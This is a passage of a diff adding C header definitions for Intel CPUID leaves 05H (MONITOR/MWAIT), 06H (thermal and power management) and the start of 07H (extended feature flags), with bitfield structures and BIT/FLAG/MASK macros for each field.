+} cpuid_eax_04; + + +/** + * @brief MONITOR/MWAIT Leaf + * + * When CPUID executes with EAX set to 05H, the processor returns information about features available to MONITOR/MWAIT + * instructions. The MONITOR instruction is used for address-range monitoring in conjunction with MWAIT instruction. The + * MWAIT instruction optionally provides additional extensions for advanced power management. + */ +#define CPUID_MONITOR_MWAIT 0x00000005 +typedef struct +{ + union + { + struct + { + /** + * [Bits 15:0] Smallest monitor-line size in bytes (default is processor's monitor granularity). + */ + uint32_t smallest_monitor_line_size : 16; +#define CPUID_EAX_SMALLEST_MONITOR_LINE_SIZE_BIT 0 +#define CPUID_EAX_SMALLEST_MONITOR_LINE_SIZE_FLAG 0xFFFF +#define CPUID_EAX_SMALLEST_MONITOR_LINE_SIZE_MASK 0xFFFF +#define CPUID_EAX_SMALLEST_MONITOR_LINE_SIZE(_) (((_) >> 0) & 0xFFFF) + uint32_t reserved1 : 16; + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 15:0] Largest monitor-line size in bytes (default is processor's monitor granularity). + */ + uint32_t largest_monitor_line_size : 16; +#define CPUID_EBX_LARGEST_MONITOR_LINE_SIZE_BIT 0 +#define CPUID_EBX_LARGEST_MONITOR_LINE_SIZE_FLAG 0xFFFF +#define CPUID_EBX_LARGEST_MONITOR_LINE_SIZE_MASK 0xFFFF +#define CPUID_EBX_LARGEST_MONITOR_LINE_SIZE(_) (((_) >> 0) & 0xFFFF) + uint32_t reserved1 : 16; + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bit 0] Enumeration of Monitor-Mwait extensions (beyond EAX and EBX registers) supported. + */ + uint32_t enumeration_of_monitor_mwait_extensions : 1; +#define CPUID_ECX_ENUMERATION_OF_MONITOR_MWAIT_EXTENSIONS_BIT 0 +#define CPUID_ECX_ENUMERATION_OF_MONITOR_MWAIT_EXTENSIONS_FLAG 0x01 +#define CPUID_ECX_ENUMERATION_OF_MONITOR_MWAIT_EXTENSIONS_MASK 0x01 +#define CPUID_ECX_ENUMERATION_OF_MONITOR_MWAIT_EXTENSIONS(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Supports treating interrupts as break-event for MWAIT, even when interrupts disabled. + */ + uint32_t supports_treating_interrupts_as_break_event_for_mwait : 1; +#define CPUID_ECX_SUPPORTS_TREATING_INTERRUPTS_AS_BREAK_EVENT_FOR_MWAIT_BIT 1 +#define CPUID_ECX_SUPPORTS_TREATING_INTERRUPTS_AS_BREAK_EVENT_FOR_MWAIT_FLAG 0x02 +#define CPUID_ECX_SUPPORTS_TREATING_INTERRUPTS_AS_BREAK_EVENT_FOR_MWAIT_MASK 0x01 +#define CPUID_ECX_SUPPORTS_TREATING_INTERRUPTS_AS_BREAK_EVENT_FOR_MWAIT(_) (((_) >> 1) & 0x01) + uint32_t reserved1 : 30; + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 3:0] Number of C0 sub C-states supported using MWAIT. + */ + uint32_t number_of_c0_sub_c_states : 4; +#define CPUID_EDX_NUMBER_OF_C0_SUB_C_STATES_BIT 0 +#define CPUID_EDX_NUMBER_OF_C0_SUB_C_STATES_FLAG 0x0F +#define CPUID_EDX_NUMBER_OF_C0_SUB_C_STATES_MASK 0x0F +#define CPUID_EDX_NUMBER_OF_C0_SUB_C_STATES(_) (((_) >> 0) & 0x0F) + + /** + * [Bits 7:4] Number of C1 sub C-states supported using MWAIT. + */ + uint32_t number_of_c1_sub_c_states : 4; +#define CPUID_EDX_NUMBER_OF_C1_SUB_C_STATES_BIT 4 +#define CPUID_EDX_NUMBER_OF_C1_SUB_C_STATES_FLAG 0xF0 +#define CPUID_EDX_NUMBER_OF_C1_SUB_C_STATES_MASK 0x0F +#define CPUID_EDX_NUMBER_OF_C1_SUB_C_STATES(_) (((_) >> 4) & 0x0F) + + /** + * [Bits 11:8] Number of C2 sub C-states supported using MWAIT. + */ + uint32_t number_of_c2_sub_c_states : 4; +#define CPUID_EDX_NUMBER_OF_C2_SUB_C_STATES_BIT 8 +#define CPUID_EDX_NUMBER_OF_C2_SUB_C_STATES_FLAG 0xF00 +#define CPUID_EDX_NUMBER_OF_C2_SUB_C_STATES_MASK 0x0F +#define CPUID_EDX_NUMBER_OF_C2_SUB_C_STATES(_) (((_) >> 8) & 0x0F) + + /** + * [Bits 15:12] Number of C3 sub C-states supported using MWAIT. + */ + uint32_t number_of_c3_sub_c_states : 4; +#define CPUID_EDX_NUMBER_OF_C3_SUB_C_STATES_BIT 12 +#define CPUID_EDX_NUMBER_OF_C3_SUB_C_STATES_FLAG 0xF000 +#define CPUID_EDX_NUMBER_OF_C3_SUB_C_STATES_MASK 0x0F +#define CPUID_EDX_NUMBER_OF_C3_SUB_C_STATES(_) (((_) >> 12) & 0x0F) + + /** + * [Bits 19:16] Number of C4 sub C-states supported using MWAIT. + */ + uint32_t number_of_c4_sub_c_states : 4; +#define CPUID_EDX_NUMBER_OF_C4_SUB_C_STATES_BIT 16 +#define CPUID_EDX_NUMBER_OF_C4_SUB_C_STATES_FLAG 0xF0000 +#define CPUID_EDX_NUMBER_OF_C4_SUB_C_STATES_MASK 0x0F +#define CPUID_EDX_NUMBER_OF_C4_SUB_C_STATES(_) (((_) >> 16) & 0x0F) + + /** + * [Bits 23:20] Number of C5 sub C-states supported using MWAIT. + */ + uint32_t number_of_c5_sub_c_states : 4; +#define CPUID_EDX_NUMBER_OF_C5_SUB_C_STATES_BIT 20 +#define CPUID_EDX_NUMBER_OF_C5_SUB_C_STATES_FLAG 0xF00000 +#define CPUID_EDX_NUMBER_OF_C5_SUB_C_STATES_MASK 0x0F +#define CPUID_EDX_NUMBER_OF_C5_SUB_C_STATES(_) (((_) >> 20) & 0x0F) + + /** + * [Bits 27:24] Number of C6 sub C-states supported using MWAIT. + */ + uint32_t number_of_c6_sub_c_states : 4; +#define CPUID_EDX_NUMBER_OF_C6_SUB_C_STATES_BIT 24 +#define CPUID_EDX_NUMBER_OF_C6_SUB_C_STATES_FLAG 0xF000000 +#define CPUID_EDX_NUMBER_OF_C6_SUB_C_STATES_MASK 0x0F +#define CPUID_EDX_NUMBER_OF_C6_SUB_C_STATES(_) (((_) >> 24) & 0x0F) + + /** + * [Bits 31:28] Number of C7 sub C-states supported using MWAIT. + */ + uint32_t number_of_c7_sub_c_states : 4; +#define CPUID_EDX_NUMBER_OF_C7_SUB_C_STATES_BIT 28 +#define CPUID_EDX_NUMBER_OF_C7_SUB_C_STATES_FLAG 0xF0000000 +#define CPUID_EDX_NUMBER_OF_C7_SUB_C_STATES_MASK 0x0F +#define CPUID_EDX_NUMBER_OF_C7_SUB_C_STATES(_) (((_) >> 28) & 0x0F) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_05; + + +/** + * @brief Thermal and Power Management Leaf + * + * When CPUID executes with EAX set to 06H, the processor returns information about thermal and power management features. + */ +#define CPUID_THERMAL_AND_POWER_MANAGEMENT 0x00000006 +typedef struct +{ + union + { + struct + { + /** + * [Bit 0] Digital temperature sensor is supported if set. + */ + uint32_t temperature_sensor_supported : 1; +#define CPUID_EAX_TEMPERATURE_SENSOR_SUPPORTED_BIT 0 +#define CPUID_EAX_TEMPERATURE_SENSOR_SUPPORTED_FLAG 0x01 +#define CPUID_EAX_TEMPERATURE_SENSOR_SUPPORTED_MASK 0x01 +#define CPUID_EAX_TEMPERATURE_SENSOR_SUPPORTED(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Intel Turbo Boost Technology available (see description of IA32_MISC_ENABLE[38]). + */ + uint32_t intel_turbo_boost_technology_available : 1; +#define CPUID_EAX_INTEL_TURBO_BOOST_TECHNOLOGY_AVAILABLE_BIT 1 +#define CPUID_EAX_INTEL_TURBO_BOOST_TECHNOLOGY_AVAILABLE_FLAG 0x02 +#define CPUID_EAX_INTEL_TURBO_BOOST_TECHNOLOGY_AVAILABLE_MASK 0x01 +#define CPUID_EAX_INTEL_TURBO_BOOST_TECHNOLOGY_AVAILABLE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] ARAT. APIC-Timer-always-running feature is supported if set. + */ + uint32_t apic_timer_always_running : 1; +#define CPUID_EAX_APIC_TIMER_ALWAYS_RUNNING_BIT 2 +#define CPUID_EAX_APIC_TIMER_ALWAYS_RUNNING_FLAG 0x04 +#define CPUID_EAX_APIC_TIMER_ALWAYS_RUNNING_MASK 0x01 +#define CPUID_EAX_APIC_TIMER_ALWAYS_RUNNING(_) (((_) >> 2) & 0x01) + uint32_t reserved1 : 1; + + /** + * [Bit 4] PLN. Power limit notification controls are supported if set. + */ + uint32_t power_limit_notification : 1; +#define CPUID_EAX_POWER_LIMIT_NOTIFICATION_BIT 4 +#define CPUID_EAX_POWER_LIMIT_NOTIFICATION_FLAG 0x10 +#define CPUID_EAX_POWER_LIMIT_NOTIFICATION_MASK 0x01 +#define CPUID_EAX_POWER_LIMIT_NOTIFICATION(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] ECMD. Clock modulation duty cycle extension is supported if set. + */ + uint32_t clock_modulation_duty : 1; +#define CPUID_EAX_CLOCK_MODULATION_DUTY_BIT 5 +#define CPUID_EAX_CLOCK_MODULATION_DUTY_FLAG 0x20 +#define CPUID_EAX_CLOCK_MODULATION_DUTY_MASK 0x01 +#define CPUID_EAX_CLOCK_MODULATION_DUTY(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] PTM. Package thermal management is supported if set. + */ + uint32_t package_thermal_management : 1; +#define CPUID_EAX_PACKAGE_THERMAL_MANAGEMENT_BIT 6 +#define CPUID_EAX_PACKAGE_THERMAL_MANAGEMENT_FLAG 0x40 +#define CPUID_EAX_PACKAGE_THERMAL_MANAGEMENT_MASK 0x01 +#define CPUID_EAX_PACKAGE_THERMAL_MANAGEMENT(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] HWP. HWP base registers (IA32_PM_ENABLE[bit 0], IA32_HWP_CAPABILITIES, IA32_HWP_REQUEST, IA32_HWP_STATUS) are + * supported if set. + */ + uint32_t hwp_base_registers : 1; +#define CPUID_EAX_HWP_BASE_REGISTERS_BIT 7 +#define CPUID_EAX_HWP_BASE_REGISTERS_FLAG 0x80 +#define CPUID_EAX_HWP_BASE_REGISTERS_MASK 0x01 +#define CPUID_EAX_HWP_BASE_REGISTERS(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] HWP_Notification. IA32_HWP_INTERRUPT MSR is supported if set. + */ + uint32_t hwp_notification : 1; +#define CPUID_EAX_HWP_NOTIFICATION_BIT 8 +#define CPUID_EAX_HWP_NOTIFICATION_FLAG 0x100 +#define CPUID_EAX_HWP_NOTIFICATION_MASK 0x01 +#define CPUID_EAX_HWP_NOTIFICATION(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] HWP_Activity_Window. IA32_HWP_REQUEST[bits 41:32] is supported if set. + */ + uint32_t hwp_activity_window : 1; +#define CPUID_EAX_HWP_ACTIVITY_WINDOW_BIT 9 +#define CPUID_EAX_HWP_ACTIVITY_WINDOW_FLAG 0x200 +#define CPUID_EAX_HWP_ACTIVITY_WINDOW_MASK 0x01 +#define CPUID_EAX_HWP_ACTIVITY_WINDOW(_) (((_) >> 9) & 0x01) + + /** + * [Bit 10] HWP_Energy_Performance_Preference. IA32_HWP_REQUEST[bits 31:24] is supported if set. + */ + uint32_t hwp_energy_performance_preference : 1; +#define CPUID_EAX_HWP_ENERGY_PERFORMANCE_PREFERENCE_BIT 10 +#define CPUID_EAX_HWP_ENERGY_PERFORMANCE_PREFERENCE_FLAG 0x400 +#define CPUID_EAX_HWP_ENERGY_PERFORMANCE_PREFERENCE_MASK 0x01 +#define CPUID_EAX_HWP_ENERGY_PERFORMANCE_PREFERENCE(_) (((_) >> 10) & 0x01) + + /** + * [Bit 11] HWP_Package_Level_Request. IA32_HWP_REQUEST_PKG MSR is supported if set. + */ + uint32_t hwp_package_level_request : 1; +#define CPUID_EAX_HWP_PACKAGE_LEVEL_REQUEST_BIT 11 +#define CPUID_EAX_HWP_PACKAGE_LEVEL_REQUEST_FLAG 0x800 +#define CPUID_EAX_HWP_PACKAGE_LEVEL_REQUEST_MASK 0x01 +#define CPUID_EAX_HWP_PACKAGE_LEVEL_REQUEST(_) (((_) >> 11) & 0x01) + uint32_t reserved2 : 1; + + /** + * [Bit 13] HDC. HDC base registers IA32_PKG_HDC_CTL, IA32_PM_CTL1, IA32_THREAD_STALL MSRs are supported if set. + */ + uint32_t hdc : 1; +#define CPUID_EAX_HDC_BIT 13 +#define CPUID_EAX_HDC_FLAG 0x2000 +#define CPUID_EAX_HDC_MASK 0x01 +#define CPUID_EAX_HDC(_) (((_) >> 13) & 0x01) + + /** + * [Bit 14] Intel(R) Turbo Boost Max Technology 3.0 available. + */ + uint32_t intel_turbo_boost_max_technology_3_available : 1; +#define CPUID_EAX_INTEL_TURBO_BOOST_MAX_TECHNOLOGY_3_AVAILABLE_BIT 14 +#define CPUID_EAX_INTEL_TURBO_BOOST_MAX_TECHNOLOGY_3_AVAILABLE_FLAG 0x4000 +#define CPUID_EAX_INTEL_TURBO_BOOST_MAX_TECHNOLOGY_3_AVAILABLE_MASK 0x01 +#define CPUID_EAX_INTEL_TURBO_BOOST_MAX_TECHNOLOGY_3_AVAILABLE(_) (((_) >> 14) & 0x01) + + /** + * [Bit 15] HWP Capabilities. Highest Performance change is supported if set. + */ + uint32_t hwp_capabilities : 1; +#define CPUID_EAX_HWP_CAPABILITIES_BIT 15 +#define CPUID_EAX_HWP_CAPABILITIES_FLAG 0x8000 +#define CPUID_EAX_HWP_CAPABILITIES_MASK 0x01 +#define CPUID_EAX_HWP_CAPABILITIES(_) (((_) >> 15) & 0x01) + + /** + * [Bit 16] HWP PECI override is supported if set. + */ + uint32_t hwp_peci_override : 1; +#define CPUID_EAX_HWP_PECI_OVERRIDE_BIT 16 +#define CPUID_EAX_HWP_PECI_OVERRIDE_FLAG 0x10000 +#define CPUID_EAX_HWP_PECI_OVERRIDE_MASK 0x01 +#define CPUID_EAX_HWP_PECI_OVERRIDE(_) (((_) >> 16) & 0x01) + + /** + * [Bit 17] Flexible HWP is supported if set. + */ + uint32_t flexible_hwp : 1; +#define CPUID_EAX_FLEXIBLE_HWP_BIT 17 +#define CPUID_EAX_FLEXIBLE_HWP_FLAG 0x20000 +#define CPUID_EAX_FLEXIBLE_HWP_MASK 0x01 +#define CPUID_EAX_FLEXIBLE_HWP(_) (((_) >> 17) & 0x01) + + /** + * [Bit 18] Fast access mode for the IA32_HWP_REQUEST MSR is supported if set. + */ + uint32_t fast_access_mode_for_hwp_request_msr : 1; +#define CPUID_EAX_FAST_ACCESS_MODE_FOR_HWP_REQUEST_MSR_BIT 18 +#define CPUID_EAX_FAST_ACCESS_MODE_FOR_HWP_REQUEST_MSR_FLAG 0x40000 +#define CPUID_EAX_FAST_ACCESS_MODE_FOR_HWP_REQUEST_MSR_MASK 0x01 +#define CPUID_EAX_FAST_ACCESS_MODE_FOR_HWP_REQUEST_MSR(_) (((_) >> 18) & 0x01) + uint32_t reserved3 : 1; + + /** + * [Bit 20] Ignoring Idle Logical Processor HWP request is supported if set. + */ + uint32_t ignoring_idle_logical_processor_hwp_request : 1; +#define CPUID_EAX_IGNORING_IDLE_LOGICAL_PROCESSOR_HWP_REQUEST_BIT 20 +#define CPUID_EAX_IGNORING_IDLE_LOGICAL_PROCESSOR_HWP_REQUEST_FLAG 0x100000 +#define CPUID_EAX_IGNORING_IDLE_LOGICAL_PROCESSOR_HWP_REQUEST_MASK 0x01 +#define CPUID_EAX_IGNORING_IDLE_LOGICAL_PROCESSOR_HWP_REQUEST(_) (((_) >> 20) & 0x01) + uint32_t reserved4 : 11; + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 3:0] Number of Interrupt Thresholds in Digital Thermal Sensor. + */ + uint32_t number_of_interrupt_thresholds_in_thermal_sensor : 4; +#define CPUID_EBX_NUMBER_OF_INTERRUPT_THRESHOLDS_IN_THERMAL_SENSOR_BIT 0 +#define CPUID_EBX_NUMBER_OF_INTERRUPT_THRESHOLDS_IN_THERMAL_SENSOR_FLAG 0x0F +#define CPUID_EBX_NUMBER_OF_INTERRUPT_THRESHOLDS_IN_THERMAL_SENSOR_MASK 0x0F +#define CPUID_EBX_NUMBER_OF_INTERRUPT_THRESHOLDS_IN_THERMAL_SENSOR(_) (((_) >> 0) & 0x0F) + uint32_t reserved1 : 28; + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bit 0] Hardware Coordination Feedback Capability (Presence of IA32_MPERF and IA32_APERF). The capability to provide a + * measure of delivered processor performance (since last reset of the counters), as a percentage of the expected processor + * performance when running at the TSC frequency. + */ + uint32_t hardware_coordination_feedback_capability : 1; +#define CPUID_ECX_HARDWARE_COORDINATION_FEEDBACK_CAPABILITY_BIT 0 +#define CPUID_ECX_HARDWARE_COORDINATION_FEEDBACK_CAPABILITY_FLAG 0x01 +#define CPUID_ECX_HARDWARE_COORDINATION_FEEDBACK_CAPABILITY_MASK 0x01 +#define CPUID_ECX_HARDWARE_COORDINATION_FEEDBACK_CAPABILITY(_) (((_) >> 0) & 0x01) + uint32_t reserved1 : 2; + + /** + * [Bit 3] The processor supports performance-energy bias preference if CPUID.06H:ECX.SETBH[bit 3] is set and it also + * implies the presence of a new architectural MSR called IA32_ENERGY_PERF_BIAS (1B0H). + */ + uint32_t performance_energy_bias_preference : 1; +#define CPUID_ECX_PERFORMANCE_ENERGY_BIAS_PREFERENCE_BIT 3 +#define CPUID_ECX_PERFORMANCE_ENERGY_BIAS_PREFERENCE_FLAG 0x08 +#define CPUID_ECX_PERFORMANCE_ENERGY_BIAS_PREFERENCE_MASK 0x01 +#define CPUID_ECX_PERFORMANCE_ENERGY_BIAS_PREFERENCE(_) (((_) >> 3) & 0x01) + uint32_t reserved2 : 28; + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_06; + + +/** + * @brief Structured Extended Feature Flags Enumeration Leaf (Output depends on ECX input value) + * + * When CPUID executes with EAX set to 07H and ECX = 0, the processor returns information about the maximum input value for + * sub-leaves that contain extended feature flags. + * When CPUID executes with EAX set to 07H and the input value of ECX is invalid (see leaf 07H entry in Table 3-8), the + * processor returns 0 in EAX/EBX/ECX/EDX. In subleaf 0, EAX returns the maximum input value of the highest leaf 7 + * sub-leaf, and EBX, ECX & EDX contain information of extended feature flags. + */ +#define CPUID_STRUCTURED_EXTENDED_FEATURE_FLAGS 0x00000007 +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] Reports the maximum input value for supported leaf 7 sub-leaves. + */ + uint32_t number_of_sub_leaves : 32; +#define CPUID_EAX_NUMBER_OF_SUB_LEAVES_BIT 0 +#define CPUID_EAX_NUMBER_OF_SUB_LEAVES_FLAG 0xFFFFFFFF +#define CPUID_EAX_NUMBER_OF_SUB_LEAVES_MASK 0xFFFFFFFF +#define CPUID_EAX_NUMBER_OF_SUB_LEAVES(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bit 0] Supports RDFSBASE/RDGSBASE/WRFSBASE/WRGSBASE if 1. + */ + uint32_t fsgsbase : 1; +#define CPUID_EBX_FSGSBASE_BIT 0 +#define CPUID_EBX_FSGSBASE_FLAG 0x01 +#define CPUID_EBX_FSGSBASE_MASK 0x01 +#define CPUID_EBX_FSGSBASE(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] IA32_TSC_ADJUST MSR is supported if 1. + */ + uint32_t ia32_tsc_adjust_msr : 1; +#define CPUID_EBX_IA32_TSC_ADJUST_MSR_BIT 1 +#define CPUID_EBX_IA32_TSC_ADJUST_MSR_FLAG 0x02 +#define CPUID_EBX_IA32_TSC_ADJUST_MSR_MASK 0x01 +#define CPUID_EBX_IA32_TSC_ADJUST_MSR(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] Supports Intel(R) Software Guard Extensions (Intel(R) SGX Extensions) if 1. + */ + uint32_t sgx : 1; +#define CPUID_EBX_SGX_BIT 2 +#define CPUID_EBX_SGX_FLAG 0x04 +#define CPUID_EBX_SGX_MASK 0x01 +#define CPUID_EBX_SGX(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] BMI1. + */ + uint32_t bmi1 : 1; +#define CPUID_EBX_BMI1_BIT 3 +#define CPUID_EBX_BMI1_FLAG 0x08 +#define CPUID_EBX_BMI1_MASK 0x01 +#define CPUID_EBX_BMI1(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] HLE. + */ + uint32_t hle : 1; +#define CPUID_EBX_HLE_BIT 4 +#define CPUID_EBX_HLE_FLAG 0x10 +#define CPUID_EBX_HLE_MASK 0x01 +#define CPUID_EBX_HLE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] AVX2. + */ + uint32_t avx2 : 1; +#define CPUID_EBX_AVX2_BIT 5 +#define CPUID_EBX_AVX2_FLAG 0x20 +#define CPUID_EBX_AVX2_MASK 0x01 +#define CPUID_EBX_AVX2(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] x87 FPU Data Pointer updated only on x87 exceptions if 1. + */ + uint32_t fdp_excptn_only : 1; +#define CPUID_EBX_FDP_EXCPTN_ONLY_BIT 6 +#define CPUID_EBX_FDP_EXCPTN_ONLY_FLAG 0x40 +#define CPUID_EBX_FDP_EXCPTN_ONLY_MASK 0x01 +#define CPUID_EBX_FDP_EXCPTN_ONLY(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] Supports Supervisor-Mode Execution Prevention if 1. + */ + uint32_t smep : 1; +#define CPUID_EBX_SMEP_BIT 7 +#define CPUID_EBX_SMEP_FLAG 0x80 +#define CPUID_EBX_SMEP_MASK 0x01 +#define CPUID_EBX_SMEP(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] BMI2. + */ + uint32_t bmi2 : 1; +#define CPUID_EBX_BMI2_BIT 8 +#define CPUID_EBX_BMI2_FLAG 0x100 +#define CPUID_EBX_BMI2_MASK 0x01 +#define CPUID_EBX_BMI2(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] Supports Enhanced REP MOVSB/STOSB if 1. + */ + uint32_t enhanced_rep_movsb_stosb : 1; +#define CPUID_EBX_ENHANCED_REP_MOVSB_STOSB_BIT 9 +#define CPUID_EBX_ENHANCED_REP_MOVSB_STOSB_FLAG 0x200 +#define CPUID_EBX_ENHANCED_REP_MOVSB_STOSB_MASK 0x01 +#define CPUID_EBX_ENHANCED_REP_MOVSB_STOSB(_) (((_) >> 9) & 0x01) + + /** + * [Bit 10] If 1, supports INVPCID instruction for system software that manages process-context identifiers. + */ + uint32_t invpcid : 1; +#define CPUID_EBX_INVPCID_BIT 10 +#define CPUID_EBX_INVPCID_FLAG 0x400 +#define CPUID_EBX_INVPCID_MASK 0x01 +#define CPUID_EBX_INVPCID(_) (((_) >> 10) & 0x01) + + /** + * [Bit 11] RTM. + */ + uint32_t rtm : 1; +#define CPUID_EBX_RTM_BIT 11 +#define CPUID_EBX_RTM_FLAG 0x800 +#define CPUID_EBX_RTM_MASK 0x01 +#define CPUID_EBX_RTM(_) (((_) >> 11) & 0x01) + + /** + * [Bit 12] Supports Intel(R) Resource Director Technology (Intel(R) RDT) Monitoring capability if 1. + */ + uint32_t rdt_m : 1; +#define CPUID_EBX_RDT_M_BIT 12 +#define CPUID_EBX_RDT_M_FLAG 0x1000 +#define CPUID_EBX_RDT_M_MASK 0x01 +#define CPUID_EBX_RDT_M(_) (((_) >> 12) & 0x01) + + /** + * [Bit 13] Deprecates FPU CS and FPU DS values if 1. + */ + uint32_t deprecates : 1; +#define CPUID_EBX_DEPRECATES_BIT 13 +#define CPUID_EBX_DEPRECATES_FLAG 0x2000 +#define CPUID_EBX_DEPRECATES_MASK 0x01 +#define CPUID_EBX_DEPRECATES(_) (((_) >> 13) & 0x01) + + /** + * [Bit 14] Supports Intel(R) Memory Protection Extensions if 1. + */ + uint32_t mpx : 1; +#define CPUID_EBX_MPX_BIT 14 +#define CPUID_EBX_MPX_FLAG 0x4000 +#define CPUID_EBX_MPX_MASK 0x01 +#define CPUID_EBX_MPX(_) (((_) >> 14) & 0x01) + + /** + * [Bit 15] Supports Intel(R) Resource Director Technology (Intel(R) RDT) Allocation capability if 1. + */ + uint32_t rdt : 1; +#define CPUID_EBX_RDT_BIT 15 +#define CPUID_EBX_RDT_FLAG 0x8000 +#define CPUID_EBX_RDT_MASK 0x01 +#define CPUID_EBX_RDT(_) (((_) >> 15) & 0x01) + + /** + * [Bit 16] AVX512F. + */ + uint32_t avx512f : 1; +#define CPUID_EBX_AVX512F_BIT 16 +#define CPUID_EBX_AVX512F_FLAG 0x10000 +#define CPUID_EBX_AVX512F_MASK 0x01 +#define CPUID_EBX_AVX512F(_) (((_) >> 16) & 0x01) + + /** + * [Bit 17] AVX512DQ. + */ + uint32_t avx512dq : 1; +#define CPUID_EBX_AVX512DQ_BIT 17 +#define CPUID_EBX_AVX512DQ_FLAG 0x20000 +#define CPUID_EBX_AVX512DQ_MASK 0x01 +#define CPUID_EBX_AVX512DQ(_) (((_) >> 17) & 0x01) + + /** + * [Bit 18] RDSEED. + */ + uint32_t rdseed : 1; +#define CPUID_EBX_RDSEED_BIT 18 +#define CPUID_EBX_RDSEED_FLAG 0x40000 +#define CPUID_EBX_RDSEED_MASK 0x01 +#define CPUID_EBX_RDSEED(_) (((_) >> 18) & 0x01) + + /** + * [Bit 19] ADX. + */ + uint32_t adx : 1; +#define CPUID_EBX_ADX_BIT 19 +#define CPUID_EBX_ADX_FLAG 0x80000 +#define CPUID_EBX_ADX_MASK 0x01 +#define CPUID_EBX_ADX(_) (((_) >> 19) & 0x01) + + /** + * [Bit 20] Supports Supervisor-Mode Access Prevention (and the CLAC/STAC instructions) if 1. + */ + uint32_t smap : 1; +#define CPUID_EBX_SMAP_BIT 20 +#define CPUID_EBX_SMAP_FLAG 0x100000 +#define CPUID_EBX_SMAP_MASK 0x01 +#define CPUID_EBX_SMAP(_) (((_) >> 20) & 0x01) + + /** + * [Bit 21] AVX512_IFMA. + */ + uint32_t avx512_ifma : 1; +#define CPUID_EBX_AVX512_IFMA_BIT 21 +#define CPUID_EBX_AVX512_IFMA_FLAG 0x200000 +#define CPUID_EBX_AVX512_IFMA_MASK 0x01 +#define CPUID_EBX_AVX512_IFMA(_) (((_) >> 21) & 0x01) + uint32_t reserved1 : 1; + + /** + * [Bit 23] CLFLUSHOPT. + */ + uint32_t clflushopt : 1; +#define CPUID_EBX_CLFLUSHOPT_BIT 23 +#define CPUID_EBX_CLFLUSHOPT_FLAG 0x800000 +#define CPUID_EBX_CLFLUSHOPT_MASK 0x01 +#define CPUID_EBX_CLFLUSHOPT(_) (((_) >> 23) & 0x01) + + /** + * [Bit 24] CLWB. + */ + uint32_t clwb : 1; +#define CPUID_EBX_CLWB_BIT 24 +#define CPUID_EBX_CLWB_FLAG 0x1000000 +#define CPUID_EBX_CLWB_MASK 0x01 +#define CPUID_EBX_CLWB(_) (((_) >> 24) & 0x01) + + /** + * [Bit 25] Intel Processor Trace. + */ + uint32_t intel : 1; +#define CPUID_EBX_INTEL_BIT 25 +#define CPUID_EBX_INTEL_FLAG 0x2000000 +#define CPUID_EBX_INTEL_MASK 0x01 +#define CPUID_EBX_INTEL(_) (((_) >> 25) & 0x01) + + /** + * [Bit 26] (Intel(R) Xeon Phi(TM) only). + */ + uint32_t avx512pf : 1; +#define CPUID_EBX_AVX512PF_BIT 26 +#define CPUID_EBX_AVX512PF_FLAG 0x4000000 +#define CPUID_EBX_AVX512PF_MASK 0x01 +#define CPUID_EBX_AVX512PF(_) (((_) >> 26) & 0x01) + + /** + * [Bit 27] (Intel(R) Xeon Phi(TM) only). + */ + uint32_t avx512er : 1; +#define CPUID_EBX_AVX512ER_BIT 27 +#define CPUID_EBX_AVX512ER_FLAG 0x8000000 +#define CPUID_EBX_AVX512ER_MASK 0x01 +#define CPUID_EBX_AVX512ER(_) (((_) >> 27) & 0x01) + + /** + * [Bit 28] AVX512CD. + */ + uint32_t avx512cd : 1; +#define CPUID_EBX_AVX512CD_BIT 28 +#define CPUID_EBX_AVX512CD_FLAG 0x10000000 +#define CPUID_EBX_AVX512CD_MASK 0x01 +#define CPUID_EBX_AVX512CD(_) (((_) >> 28) & 0x01) + + /** + * [Bit 29] Supports Intel(R) Secure Hash Algorithm Extensions (Intel(R) SHA Extensions) if 1. + */ + uint32_t sha : 1; +#define CPUID_EBX_SHA_BIT 29 +#define CPUID_EBX_SHA_FLAG 0x20000000 +#define CPUID_EBX_SHA_MASK 0x01 +#define CPUID_EBX_SHA(_) (((_) >> 29) & 0x01) + + /** + * [Bit 30] AVX512BW. + */ + uint32_t avx512bw : 1; +#define CPUID_EBX_AVX512BW_BIT 30 +#define CPUID_EBX_AVX512BW_FLAG 0x40000000 +#define CPUID_EBX_AVX512BW_MASK 0x01 +#define CPUID_EBX_AVX512BW(_) (((_) >> 30) & 0x01) + + /** + * [Bit 31] AVX512VL. + */ + uint32_t avx512vl : 1; +#define CPUID_EBX_AVX512VL_BIT 31 +#define CPUID_EBX_AVX512VL_FLAG 0x80000000 +#define CPUID_EBX_AVX512VL_MASK 0x01 +#define CPUID_EBX_AVX512VL(_) (((_) >> 31) & 0x01) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bit 0] 